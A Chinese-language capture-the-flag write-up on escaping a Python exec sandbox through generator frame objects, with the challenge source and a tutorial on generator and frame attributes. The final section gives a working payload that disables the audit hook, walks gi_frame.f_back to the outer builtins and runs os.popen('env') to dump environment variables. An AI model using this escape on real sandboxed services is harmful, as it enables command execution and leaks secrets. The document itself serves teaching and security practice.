Python 沙箱逃逸

栈帧逃逸

2025 mini-L pybox
import multiprocessing
import sys
import io
import ast

class SandboxVisitor(ast.NodeVisitor):
forbidden_attrs = {
"__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
"__globals__", "__code__", "__closure__", "__func__", "__self__",
"__module__", "__import__", "__builtins__", "__base__"
}

def visit_Attribute(self, node):
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError
self.generic_visit(node)

def visit_GeneratorExp(self, node):
raise ValueError

def sandbox_executor(code, result_queue):
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook,
"Exception": Exception,
}
safe_globals = {"__builtins__": safe_builtins}

sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
error = sys.stderr.getvalue()
if error:
result_queue.put(("err", error))
else:
result_queue.put(("ok", output))
except Exception:
import traceback
result_queue.put(("err", traceback.format_exc()))

def safe_exec(code: str, timeout=2):
code = code.encode().decode('unicode_escape')
try:
tree = ast.parse(code)
SandboxVisitor().visit(tree)
except Exception as e:
return f"Error: AST check failed ({e.__class__.__name__})"

result_queue = multiprocessing.Queue()
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout)

if p.is_alive():
p.terminate()
return "Timeout: code took too long to run."

try:
status, output = result_queue.get_nowait()
print(output)
return output if status == "ok" else f"Error exec: {output}"
except:
return "Error: no output from sandbox."

CODE = '''
def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(my_audit_checker)
print("{}")
'''

badchars = "\"'|&`+-*/()[]{}_ .".replace(" ", "")

def evaluate_wish_text(text: str) -> str:
for ch in badchars:
if ch in text:
print(f"ch={ch}")
return f"Error:waf {ch}"
out = safe_exec(CODE.format(text))
return out
知识补充:python中的生成器

使用了yield的函数被称为生成器

def running_averager():
"""一个计算动态平均值的协程 (Coroutine)"""
print("--- 平均值计算器已启动 ---")
# 初始化状态变量
total = 0.0
count = 0
average = None

while True:
# 关键部分!
# 1. 向调用方产出当前的 average 值
# 2. 暂停,等待调用方下一次 send() 一个值进来
# 3. term 会接收到 send() 进来的值
term = yield average

# 如果接收到 None,则跳过此次计算 (通常用于启动)
if term is None:
continue

# 用接收到的值更新状态
total += term
count += 1
average = total / count

生成器并不是一个函数,使用括号执行时生成一个生成器对象:

def f_():
pass

def f():
yield

x = f()
x_ = f_

print(type(x),type(x_))
# <class 'generator'> <class 'function'>

看看它和函数有哪些实例变量的差别,

需要注意的是,python中方法也属于一种属性

生成器对象的全部实例变量:

['__repr__', '__getattribute__', '__iter__', '__next__', '__del__', 'send', 'throw', 'close', '__sizeof__', 'gi_code', '__name__', '__qualname__', 'gi_yieldfrom', 'gi_running', 'gi_frame', 'gi_suspended', '__doc__', '__new__', '__hash__', '__str__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__dir__', '__class__']

普通函数的全部实例变量:

['__new__', '__repr__', '__call__', '__get__', '__closure__', '__doc__', '__globals__', '__module__', '__builtins__', '__code__', '__defaults__', '__kwdefaults__', '__annotations__', '__dict__', '__name__', '__qualname__', '__hash__', '__str__', '__getattribute__', '__setattr__', '__delattr__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__init__', '__reduce_ex__', '__reduce__', '__getstate__', '__subclasshook__', '__init_subclass__', '__format__', '__sizeof__', '__dir__', '__class__']

它们共有的属性:

[
'__qualname__', # (Qualified Name) 对象的“完全限定名称”,包含了从模块顶层到该对象的路径。
'__setattr__', # (Set Attribute) 当试图通过赋值语句 (obj.x = 10) 设置属性时被调用。
'__subclasshook__', # 用于自定义 issubclass() 的行为。
'__eq__', # (Equal) 定义等于运算符 `==` 的行为。
'__ne__', # (Not Equal) 定义不等于运算符 `!=` 的行为。
'__dir__', # 定义 dir(obj) 函数的返回内容,即对象的属性列表。
'__init_subclass__', # 当该类被子类化时,在子类上调用的钩子。
'__init__', # (Initialize) 对象的构造器(初始化方法),在对象创建后被调用。
'__sizeof__', # 返回对象占用的内存大小(字节)。
'__le__', # (Less or Equal) 定义小于等于运算符 `<=` 的行为。
'__name__', # 对象的名称。对于函数,就是函数名。
'__ge__', # (Greater or Equal) 定义大于等于运算符 `>=` 的行为。
'__reduce__', # 在对象被 pickle 序列化时使用。
'__reduce_ex__', # 在对象被 pickle 序列化时使用 (扩展版)。
'__repr__', # (Representation) 定义 repr(obj) 的输出,目标是明确、无歧义。
'__getstate__', # 在 pickle 序列化时,用于指定应该被保存的状态。
'__class__', # 指向该实例所属的类。
'__doc__', # (Documentation String) 对象的文档字符串(docstring)。
'__gt__', # (Greater Than) 定义大于运算符 `>` 的行为。
'__str__', # (String) 定义 str(obj) 和 print(obj) 的输出,目标是可读性好。
'__delattr__', # (Delete Attribute) 当试图用 del obj.x 删除属性时被调用。
'__new__', # (New Instance) 在 __init__ 之前被调用,是真正创建实例的静态方法。
'__hash__', # 计算对象的哈希值,用于字典键或集合元素。
'__format__', # 定义格式化字符串的行为 (例如 `"{:0.2f}".format(obj)`)。
'__lt__', # (Less Than) 定义小于运算符 `<` 的行为。
'__getattribute__', # (Get Attribute) 无条件地拦截所有属性访问 (obj.x)。
]

生成器有而普通函数没有的:

[
'gi_code', # (Generator Code) 指向该生成器对应的代码对象 (compiled bytecode)。
'__del__', # (Delete/Destructor) 对象的析构函数,当对象被垃圾回收时调用。
'send', # [核心方法] 向生成器发送一个值,并从 yield 处恢复执行。
'__iter__', # 使生成器成为一个迭代器,返回它自身。
'close', # [核心方法] 关闭生成器,用于执行清理代码。
'gi_suspended', # (Generator Suspended) 布尔值,True 表示生成器当前在 yield 处暂停。
'throw', # [核心方法] 在生成器暂停的位置抛出一个指定的异常。
'__next__', # 使生成器成为一个迭代器,获取下一个 yield 的值。
'gi_running', # (Generator Running) 布尔值,True 表示生成器当前正在执行中。
'gi_frame', # (Generator Frame) 指向生成器当前的帧对象 (frame object),包含执行上下文。
'gi_yieldfrom', # (Generator Yield From) 如果在使用 yield from,则指向子生成器。
]

普通函数有而生成器没有的:

[
'__code__', # 函数的代码对象,包含了编译后的字节码、常量、变量名等。
'__annotations__', # 一个字典,包含了函数参数和返回值的类型注解。
'__globals__', # 一个字典,引用了函数定义时所在模块的全局命名空间。
'__kwdefaults__', # 一个字典,包含仅限关键字参数 (keyword-only arguments) 的默认值。
'__module__', # 函数定义所在的模块名称 (字符串)。
'__builtins__', # 引用了函数执行时可以访问的内建函数模块 `__builtins__`。
'__closure__', # 一个元组,包含了函数的闭包 (closure) 信息。
'__call__', # 使函数对象成为可调用 (callable) 的。执行 func() 即调用此方法。
'__dict__', # 函数的属性字典,允许你给函数附加任意属性。
'__defaults__', # 一个元组,包含了函数位置参数 (positional arguments) 的默认值。
'__get__', # [描述符协议] 让函数在被实例调用时转变为方法,并自动传入 self。
]

与直觉相悖的:生成器的”帧对象“中的“帧”并不是从 创建/send()/next() 开始,从yield结束。

实际上:在创建生成器对象时创建的,持久的、包含完整执行上下文的数据结构。它是生成器能够暂停和恢复的状态容器。

相当于生成器对象的存档文件

获取帧对象:

def f():
yield

x = f()

print(x.gi_frame)

这个frame的一些独特属性:

[
'f_code', # 帧所关联的代码对象 (包含了字节码、常量等)。
'clear', # [方法] 清除帧中对局部变量的所有引用,用于打破循环引用,帮助垃圾回收。
'f_back', # 指向调用栈中的“上一个帧” (即调用者的帧)。
'f_locals', # 包含该帧的“局部变量”的字典。
'f_lasti', # (Last Instruction) 最后执行的字节码指令在 f_code 中的索引。
'f_lineno', # (Line Number) 代码在源文件中当前执行的“行号”。
'f_trace_opcodes', # 布尔值,如果为 True,则为每个操作码(opcode)都触发跟踪事件,用于精细调试。
'f_trace', # 调试或性能分析时设置的“跟踪函数”(trace function),可以为 None。
'f_builtins', # 帧执行时所引用的“内建命名空间”的字典。
'f_globals', # 帧执行时所引用的“全局命名空间”的字典 (通常是模块的命名空间)。
'f_trace_lines', # 布尔值,控制跟踪事件是否在行号改变时触发 (默认为 True)。
]

python在每一次的函数调用执行时,都会自动创建一个新的帧对象

python的执行过程可以看做是一个“帧栈”,可以类比php反序列化中pop链,或者递归函数的知识

注意到这里f_back可以获取到上一个帧,也就是说如果不限制获取帧对象和获取上一帧。那么我们就可以利用栈帧拿到最外层的__builtins__,这就是栈帧逃逸

以我们上一个题目举例子,除了外部限制之外,还有内部对事件的限制

def my_audit_checker(event,args):
allowed_events = ["import", "time.sleep", "builtins.input", "builtins.input/result"]
if not list(filter(lambda x: event == x, allowed_events)):
raise Exception
if len(args) > 0:
raise Exception
addaudithook(my_audit_checker)
print("{}")

我们先闭合print来实现任意代码执行

")
print(0)
("

然后通过修改内部__builtins__解除内部限制:

if not list(filter(lambda x: event == x, allowed_events)):
raise Exception

解法:

__builtins__['list'] = lambda x: True
__builtins__['len'] = lambda x: 0

再利用生成器获取帧对象,然后一直获取上方的帧即可还原出外部的builtins

def f():
global x, frame
frame = x.gi_frame.f_back.f_back.f_back.f_globals
yield
x = f()
x.send(None)
print(frame['__builtins__']['__import__']('os').popen('env').read())